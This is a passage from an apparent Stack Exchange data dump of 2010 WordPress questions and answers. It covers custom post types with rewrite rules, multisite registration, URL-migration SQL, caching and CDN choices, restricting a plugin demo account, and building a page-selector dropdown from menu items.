  <row Id="862" PostTypeId="2" ParentId="858" CreationDate="2010-08-24T21:59:33.220" Score="1" ViewCount="" Body="&lt;p&gt;I think someone might have already kind of answered this on the other question you posted (about parent pages / intermediate pages), but here's what I think the best way to structure your data is, based on what you've described:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; - Home&#xA; - Volvo 850 (overview)&#xA;   - Volvo 850 tech spec&#xA;   - Volvo 850 pictures&#xA; - Porsche 911 (overview)&#xA;   - Porsche 911 tech spec&#xA;   - Porsche 911 pictures&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way you only have to enter the meta fields once - on the parent page - and on the children pages you can pull that meta data from the parent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo 'Top speed: '.get_post_meta($post-&amp;gt;post_parent,'Top Speed',true); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, an even better way to organize this would be to have one single custom post type for each model of car which stores all of the car's information, and display the various subpages based on a GET request that's passed to the page and used in the page template as a switch to determine which template to display. That way you can completely avoid duplicating data, and make it easier to add more information to template later on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;More details...&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done it a couple different ways. In one site where I had agents (company reps) as a custom post type, I used their posts to store all the data related to that person, but never actually displayed that page. Instead, I had an &quot;Agent Listing&quot; page, a &quot;Agent Performance Record&quot; page, and a &quot;Contact This Agent&quot; page, which were always called with a GET variable and displayed information out of the appropriate post. So the permalink would look something like &lt;strong&gt;site.com/agent-listing/?agent=john-smith&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In another site , I set up all the information on one page and built all three views for that page into the page template. In your case, that would look something like &lt;strong&gt;site.com/cars/volvo-850/?pictures&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in the page template you would include a check for that variable near the top of the content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($_GET['pictures']) {&#xA;&#xA; // template for pictures page&#xA;&#xA;} else if ($_GET['tech-spec']) {&#xA;&#xA; // template for tech specs page &#xA;&#xA;} else {&#xA;&#xA; // overview template&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2010-08-25T01:26:42.390" LastActivityDate="2010-08-25T01:26:42.390" CommentCount="3" />
  <row Id="863" PostTypeId="1" CreationDate="2010-08-24T22:02:20.313" Score="2" ViewCount="121" Body="&lt;p&gt;We have a WPMU instance:&#xA;&lt;a href=&quot;http://my.blogs.com/blog1&quot; rel=&quot;nofollow&quot;&gt;http://my.blogs.com/blog1&lt;/a&gt;&#xA;http://my.blogs.com/blog2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, blog1 is closed to used registration, while blog2 us open to users registering and posting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now, how do I get to have a user added to only blog2 when he signs up ? as of now, he is not added to any blog and only this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if I have blog3, which also has registration enabled, how could a user signup only to that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin that can detect the blog URI and add the user only to that ?&lt;/p&gt;&#xA;" OwnerUserId="93" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-02-17T16:16:17.840" LastActivityDate="2011-02-17T16:16:17.840" Title="how could I have a user signing up for a blog, be assigned to that blog only" Tags="&lt;multisite&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" />
  <row Id="864" PostTypeId="2" ParentId="715" CreationDate="2010-08-24T22:21:26.867" Score="8" ViewCount="" Body="&lt;h2&gt;Comment using PhpDoc&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Best practice is close to the PhpDoc style.&#xA;If you don't use an IDE like &quot;Eclipse&quot;, you can just take a look &lt;a href=&quot;http://manual.phpdoc.org/HTMLSmartyConverter/HandS/phpDocumentor/tutorial_tags.pkg.html&quot; rel=&quot;nofollow&quot;&gt;at the PhpDoc Manual&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to know exactly how this works. Professional Developers can read the code anyway and just need this as a summary. Hobby coders and users might appreciate the way you explain it on the same knowledge level. &lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-25T20:00:32.943" LastActivityDate="2010-08-25T20:00:32.943" CommunityOwnedDate="2010-08-24T22:21:26.867" />
  <row Id="865" PostTypeId="2" ParentId="725" CreationDate="2010-08-24T22:23:00.953" Score="1" ViewCount="" Body="&lt;p&gt;It depends on your needs. If you're looking for one multi-lingual website (i.e. same content, different languages) or different sites in different languages os the same domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the first you can use either qtranslate or wpml (I recommend the 1st).&#xA;For the second wordpress multi-site will be the optimal solution.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-08-24T22:23:00.953" />
  <row Id="866" PostTypeId="2" ParentId="145" CreationDate="2010-08-24T22:25:09.003" Score="1" ViewCount="" Body="&lt;p&gt;Not that bad too: &lt;a href=&quot;http://www.eclipse.org/downloads/&quot; rel=&quot;nofollow&quot;&gt;Eclipse&lt;/a&gt; It's close to PhpStorm + free.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2010-08-24T22:25:09.003" />
  <row Id="867" PostTypeId="2" ParentId="841" CreationDate="2010-08-24T22:28:10.863" Score="0" ViewCount="" Body="&lt;p&gt;two other options:&#xA;1. instead of making 'sidebar.php' more complicated add the new widgetized sidebars to a new sidebar file 'sidebar-xxx.php' and then in the page template use &#xA;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;you can use &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-context/&quot; rel=&quot;nofollow&quot;&gt;contextual-widgets&lt;/a&gt; plugin&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-08-24T22:28:10.863" />
  <row Id="868" PostTypeId="2" ParentId="119" CreationDate="2010-08-24T22:30:02.720" Score="2" ViewCount="" Body="&lt;p&gt;This looks promising.   We are working on some scripts to handle migrating some of the data, wp-options for example, changing paths in the db, a copying over media.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I have is that the live site continues to grow while the other is in development.  One site we work on has 20 posts a day and over 3,000 comments per day.  That is too much data to move over with phpmyadmin or via the command line.  Also, moving the data around always causes UTF issues for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, now that it looks like menu options are stored in the DB, I have even more to deal with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I check all my code into SVN and deploy the code via FTP from the server (Beanstalk).  This does not make the changes to the DB for me though or activate new plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plan right now is to create a manifest file while I am developing to do all my changes to the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the file would have human readable lines&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would include plugins to activate, wp-options to move over, images to move, pages to move.&#xA;Then my plugin, would detect the manifest file and make all the changes to the staging site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I tested that and was sure I got everything, I could be sure it would work on production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin is still just an idea, but I have some code written for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you want to make changes to just the URL in you DB, you can use the following SQL.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;just replace $old$ with the old domain and $new$ with the new&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update wp_postmeta set meta_value = replace(meta_value, '$old$' , '$new$') ;&#xA;update wp_posts set post_content = replace(post_content, '$old$' , '$new$') ;&#xA;update wp_options set option_value = replace(option_value, '$old$' , '$new$') ;&lt;/p&gt;&#xA;" OwnerUserId="375" LastActivityDate="2010-08-24T22:30:02.720" CommentCount="1" />
  <row Id="869" PostTypeId="2" ParentId="715" CreationDate="2010-08-24T22:32:12.690" Score="4" ViewCount="" Body="&lt;h1&gt;Organize your code&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;It's alway hard to read code that's not written in the order it get's executed. First include/require, define, wp_enqueue_style &amp;amp; _script, etc., then the functions that the plugin/theme needs and at last the builder (ex. admin screen, stuff that integrates in the theme, etc.). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to separate things like css and js in their own folders. Also try to do this with functions that are only helpers, like array flatteners and similar. Keeping the &quot;main&quot; file as clean and easy to read as possible is a way that helps users, developers and you, when you try to update in a year and haven't seen the code for a longer time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also good to have a structure you repeat often, so you always find your way through. Developing in a known structure on different projects will give you time to make it better and even if your client switches to another developer, you will never hear &quot;he left a chaos&quot;. This builds your reputation and should be a long term goal.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-01-06T21:12:32.307" LastActivityDate="2011-01-06T21:12:32.307" CommunityOwnedDate="2010-08-24T22:32:12.690" CommentCount="1" />
  <row Id="870" PostTypeId="2" ParentId="835" CreationDate="2010-08-24T22:59:57.207" Score="1" ViewCount="" Body="&lt;h2&gt;MaxCDN and W3 Total Cache&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.maxcdn.com/&quot; rel=&quot;nofollow&quot;&gt;MaxCDN&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt; has done a great job for me.  Max CDN is now $.10 per GB (see: &lt;a href=&quot;http://www.maxcdn.com/pricing.php&quot; rel=&quot;nofollow&quot;&gt;current pricing&lt;/a&gt;).  Very Cheap and Fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rack Space is $.22 and requires work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Max CDN Takes about 10 minutes to set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done about 20 TB with them since I started using them with only one small issue that they fixed within an hour.  All I did was turn off the CDN in my control panel till they fixed it.&lt;/p&gt;&#xA;" OwnerUserId="375" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-25T16:57:28.267" LastActivityDate="2010-08-25T16:57:28.267" CommentCount="1" />
  <row Id="871" PostTypeId="2" ParentId="715" CreationDate="2010-08-24T23:30:07.610" Score="5" ViewCount="" Body="&lt;h2&gt;Use wp options for plugin output strings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In order to make the plugin easily used and customizable, all the output strings should be modifiable.&#xA;The best way to do that is use wp-options to store the output strings and provide backend to change the default values.&#xA;Plugin shouldn't use displayed strings that cannot be easily changed using the plugin backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&#xA;Sociable - gives you the ability to change the sentence that appears before the icons part &quot;share and enjoy:&quot;&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditorDisplayName="" LastEditDate="2010-08-26T18:39:30.290" LastActivityDate="2010-08-26T18:39:30.290" CommunityOwnedDate="2010-08-24T23:30:07.610" CommentCount="4" />
  <row Id="872" PostTypeId="2" ParentId="828" CreationDate="2010-08-25T00:17:51.667" Score="3" ViewCount="" Body="&lt;h1&gt;Profiling with Profiler-Plugins&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Not sure exactly what you need to accomplish with your profiling, but &lt;a href=&quot;http://wordpress.org/extend/plugins/wptuner/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP Tuner (Wordpress Plugin)&lt;/strong&gt;&lt;/a&gt; goes a long way to finding what is slowing down your WP install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks at each plugin and give your the memory, CPU time and SQL queries involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/sqlmon/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;SQL Monitor (Wordpress Plugin)&lt;/strong&gt;&lt;/a&gt; analyzes SQL performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Combine it with &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;W3 Total Cache (Wordpress Plugin)&lt;/strong&gt;&lt;/a&gt; and you should get better performance on any platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, look to using transient API to store fragments you do not need to generate everytime.  This can really help on a slow DB.&lt;/p&gt;&#xA;" OwnerUserId="375" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-25T09:30:29.500" LastActivityDate="2010-08-25T09:30:29.500" CommunityOwnedDate="2010-08-25T00:17:51.667" />
  <row Id="873" PostTypeId="2" ParentId="858" CreationDate="2010-08-25T00:48:43.757" Score="10" ViewCount="" Body="&lt;h2&gt;UPDATE:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Based upon the update of the question I think I need to explicitly state that what is asked in the question can be done with the answer below, just used custom fields in the &lt;em&gt;&quot;Car&quot;&lt;/em&gt; custom post type for each of the items you want displayed on all pages for a given car. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do it simply just hardcode the sidebar into the &lt;code&gt;single-car.php&lt;/code&gt; template file I included below and then use your &lt;code&gt;if&lt;/code&gt; statement to determine which content to display for the different URLs. You could go to the effort to widgetize your sidebar and develop a custom widget where the widget would pull the information for the current post ID, but why both unless you are building this as a theme for other people to use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are actually a bunch of subtly different ways to accomplish this but the one I am suggesting should wonder wonderfully for your needs.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Hi &lt;strong&gt;@cannyboy:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually don't know what the best way would be to share custom fields across posts. But that might just be the red flag you need. If something seems too hard maybe...&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;An Alternate Approach?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;...you could shonsider &lt;strong&gt;architecting it differently&lt;/strong&gt;? I think you'll be much better off creating a &lt;strong&gt;Custom Post Type&lt;/strong&gt; of &lt;em&gt;&quot;Car&quot;&lt;/em&gt; and then you can store everything for each &lt;em&gt;&quot;page&quot;&lt;/em&gt; into the one Car post type. Here are some sample URLs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/cars/volvo850/  &amp;lt;-- overview&#xA;http://example.com/cars/volvo850/tech-specs/&#xA;http://example.com/cars/volvo850/pictures/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Learning about Custom Post Types&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can learn more about Custom Post Types at the answers to these questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/187#187&quot;&gt;Tips for using WordPress as a CMS?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/381/can-a-crunchbase-com-clone-be-implemented-using-wordpress/386#386&quot;&gt;Can a CrunchBase.com clone be implemented using WordPress?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;A Custom Post Type and A Rewrite Rule&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To implement Custom Post Types and the multiple pages you'd use code like the following which &lt;strong&gt;registers your &lt;em&gt;&quot;Car&quot;&lt;/em&gt; Custom Post Type&lt;/strong&gt; and then &lt;strong&gt;sets a rewrite rule for your car pages&lt;/strong&gt;. Put this code in your theme's &lt;code&gt;functions.php&lt;/code&gt; file or in a plugin, whichever you prefer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('init','car_init');&#xA;function car_init() {&#xA;  register_post_type('car',&#xA;    array(&#xA;      'label'           =&amp;gt; 'Cars',&#xA;      'public'          =&amp;gt; true,&#xA;      'show_ui'         =&amp;gt; true,&#xA;      'query_var'       =&amp;gt; 'car',&#xA;      'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'cars'),&#xA;      'hierarchical'    =&amp;gt; true,&#xA;      //'supports'        =&amp;gt; array('title','editor','custom-fields'),&#xA;    )&#xA;  );&#xA;  global $wp,$wp_rewrite;&#xA;  $wp-&amp;gt;add_query_var('car-page');&#xA;  $wp_rewrite-&amp;gt;add_rule('cars/([^/]+)/(tech-specs|pictures)','index.php?car=$matches[1]&amp;amp;car-page=$matches[2]', 'top');&#xA;  $wp_rewrite-&amp;gt;flush_rules(false);  // This should really be done in a plugin activation&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;A &lt;em&gt;Car&lt;/em&gt;-specific Theme Template File&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Then you'll &lt;strong&gt;need a &lt;em&gt;Car&lt;/em&gt;-specific template file in your theme&lt;/strong&gt;; the default name for this would be &lt;code&gt;single-car.php&lt;/code&gt;. I've coded a starter template for you that renders all three of the URLs (the &lt;em&gt;(overview)&lt;/em&gt;, &lt;em&gt;'tech-specs'&lt;/em&gt; and &lt;em&gt;'pictures'&lt;/em&gt;) in one template by using an &lt;em&gt;if&lt;/em&gt; statement to determine which content to render:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;  &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;  &amp;lt;?php if ( have_posts() ): the_post(); ?&amp;gt;&#xA;    &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;    &amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;&amp;lt;?php if(is_car_techspecs()): ?&amp;gt;&#xA;  &amp;lt;a href=&quot;..&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&#xA;  &amp;lt;h1&amp;gt;Tech Specs&amp;lt;/h1&amp;gt;&#xA;  The tech specs go here!&#xA;  &amp;lt;?php get_post_meta($post-&amp;gt;ID,'_car_tech_specs'); ?&amp;gt;&#xA;&amp;lt;?php elseif (is_car_pictures()): ?&amp;gt;&#xA;  &amp;lt;a href=&quot;..&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&#xA;  &amp;lt;h1&amp;gt;Pictures&amp;lt;/h1&amp;gt;&#xA;  Car Pictures go here!&#xA;  &amp;lt;?php get_post_meta($post-&amp;gt;ID,'_car_pictures'); ?&amp;gt;&#xA;&amp;lt;?php else: ?&amp;gt;&#xA;  &amp;lt;ul&amp;gt;&#xA;    &amp;lt;h1&amp;gt;Overview&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;tech-specs/&quot;&amp;gt;Tech Specs&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;pictures/&quot;&amp;gt;Pictures&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;      &amp;lt;?php the_content(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;?php endif; ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note in the example above I'm being very simplistic with the use of &lt;code&gt;get_post_meta()&lt;/code&gt;;  real site would need to have a lot more complexity there.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Template Tags a.k.a. Helper Functions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Of course I used some template tags a.k.a. helper functions to minimize complexity in the template file in the &lt;em&gt;if&lt;/em&gt; statement conditions. Here they are and you can put these in your theme's &lt;code&gt;functions.php&lt;/code&gt; file too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_car_techspecs() {&#xA;  global $wp_query;&#xA;  return is_car_page('tech-specs');&#xA;}&#xA;function is_car_pictures() {&#xA;  global $wp_query;&#xA;  return is_car_page('pictures');&#xA;}&#xA;&#xA;function is_car_page($page) {&#xA;  global $wp_query;&#xA;  return (isset($wp_query-&amp;gt;query['car-page']) &amp;amp;&amp;amp; $wp_query-&amp;gt;query['car-page']==$page);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Screenshots filled with Custom Post Type Love&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Once you have all that code in place and you've added a &lt;em&gt;Car&lt;/em&gt; post like &lt;em&gt;Volvo 850&lt;/em&gt; you can get it to work like the following screenshots:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Overview Page&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100824-201927.png&quot; alt=&quot;http://example.com/cars/volvo850/&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Tech Specs Page&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100824-203443.png&quot; alt=&quot;http://example.com/cars/volvo850/tech-specs/&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Pictures Page&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100824-203647.png&quot; alt=&quot;http://example.com/cars/volvo850/pictures/&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-25T22:32:12.483" LastActivityDate="2010-08-25T22:32:12.483" CommentCount="8" />
  <row Id="874" PostTypeId="2" ParentId="852" CreationDate="2010-08-25T00:54:04.917" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@cannyboy&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You asked a very similar and related question in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/858/same-custom-fields-spanning-several-pages/&quot;&gt;&lt;em&gt;&quot;Same Custom Fields spanning several pages?&quot;&lt;/em&gt;&lt;/a&gt; and I think your answer is really the same:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/858/same-custom-fields-spanning-several-pages/873#873&quot;&gt;&lt;strong&gt;Use Custom Post Types and configure your URLs accordingly&lt;/strong&gt;&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-25T00:54:04.917" />
  <row Id="875" PostTypeId="1" CreationDate="2010-08-25T04:07:28.163" Score="1" ViewCount="112" Body="&lt;p&gt;I'm glad to have the opportunity to ask my first question here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scenario is this: My team and I released a Premium Plugin last week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have since received a number of requests for a Live Demo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm considering creating a subdomain at demo.mysite.com, and modding the admin login page to display the demo username and password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will it be sufficient, from a security standpoint, just to run it on a separate WordPress installation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there admin-level features I'll want to disable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I basically want the demo to be as realistic as possible without somehow compromising the security or integrity of my primary site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice appreciated,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SethMerrick&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2010-08-25T17:02:30.690" Title="How can I make a Live Demo of my Premium Plugin? Are there security risks?" Tags="&lt;wp-admin&gt;&lt;plugins&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="876" PostTypeId="2" ParentId="875" CreationDate="2010-08-25T05:12:41.187" Score="3" ViewCount="" Body="&lt;p&gt;If it's a separate WordPress installation, you won't have anything to worry about regarding the integrity of your primary site - they won't be connected in any way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though to protect your plug-in, I wouldn't just create an admin user.  I'd install a &lt;a href=&quot;http://wordpress.org/extend/plugins/role-scoper/&quot; rel=&quot;nofollow&quot;&gt;role manager system&lt;/a&gt; and create a &quot;Demo&quot; userlevel with almost the same permissions as admin ... minus &quot;Edit Plugins&quot; and any user management capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, people can log in as your demo user and have all of the typical powers of an admin user.  But they can't edit plugins and therefore can't view/steal the source of your plugin.  Limiting user management capabilities means they can't work around this restriction by creating other users with custom permissions, either.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-25T05:12:41.187" />
  <row Id="877" PostTypeId="2" ParentId="859" CreationDate="2010-08-25T05:43:42.897" Score="6" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Keith S.&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WordPress' new menu system is both wondrous and infinitely frustrating&lt;/strong&gt;, depending on what you are trying to do and what day of the week it happens to be. :) It's a great idea but far from mature so while it's a feature I applaud I'll be happier when v3.3 or v3.4 of WordPress rolls out and we get a lot more use-cases directly supported by the menu system's API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, not sure if there is an existing plugin to do what you are looking for, but &lt;strong&gt;how about the code you need to write you own plugin?&lt;/strong&gt; Or you could just include it in your theme's &lt;code&gt;functions.php&lt;/code&gt; file; whatever your preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm providing is a fully self-contained example that you can save as &lt;code&gt;test.php&lt;/code&gt;in your website's root directory in order to test it. If your domain were &lt;code&gt;example.com&lt;/code&gt; you'd load to test at:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;http://example.com/test.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here's what it look's like in action:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100825-005514.png&quot; alt=&quot;Inactive drop down of Pages from WordPress 3.0 Menu&quot;&gt;&#xA;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100825-005345.png&quot; alt=&quot;Active drop down of Pages from WordPress 3.0 Menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the code below it should be easy to incorporate the &lt;code&gt;get_page_selector()&lt;/code&gt; function into your theme and to call it whenever you need this functionality:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;  include &quot;wp-load.php&quot;;&#xA;  echo 'Jump to:';&#xA;  echo get_page_selector('My Select Menu');&#xA;&#xA;function get_page_selector($menu) {&#xA;  $page_menu_items = wp_get_nav_menu_items($menu,array(&#xA;    'meta_key'=&amp;gt;'_menu_item_object',&#xA;    'meta_value'=&amp;gt;'page',&#xA;  ));&#xA;  $selector = array();&#xA;  if (is_array($page_menu_items) &amp;amp;&amp;amp; count($page_menu_items)&amp;gt;0) {&#xA;    $selector[] =&amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;select id=&quot;page-selector&quot; name=&quot;page-selector&quot;&#xA;    onchange=&quot;location.href = document.getElementById('page-selector').value;&quot;&amp;gt;&#xA;HTML;&#xA;    $selector[] = '&amp;lt;option value=&quot;&quot;&amp;gt;Select a Page&amp;lt;/option&amp;gt;';&#xA;    foreach($page_menu_items as $page_menu_item) {&#xA;      $link = get_page_link($page_menu_item-&amp;gt;object_id);&#xA;      $selector[] =&amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;option value=&quot;{$link}&quot;&amp;gt;{$page_menu_item-&amp;gt;title}&amp;lt;/option&amp;gt;&#xA;HTML;&#xA;  }&#xA;    $selector[] = '&amp;lt;/select&amp;gt;';&#xA;  }&#xA;  return implode(&quot;\n&quot;,$selector);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you might wonder how it works?  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The &lt;code&gt;wp_get_nav_menu_items()&lt;/code&gt; function&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;WordPress 3.0 stores it's menus in the &lt;code&gt;wp_posts&lt;/code&gt; table as &lt;code&gt;post_type&lt;/code&gt; type of &lt;code&gt;nav_menu_item&lt;/code&gt;. The 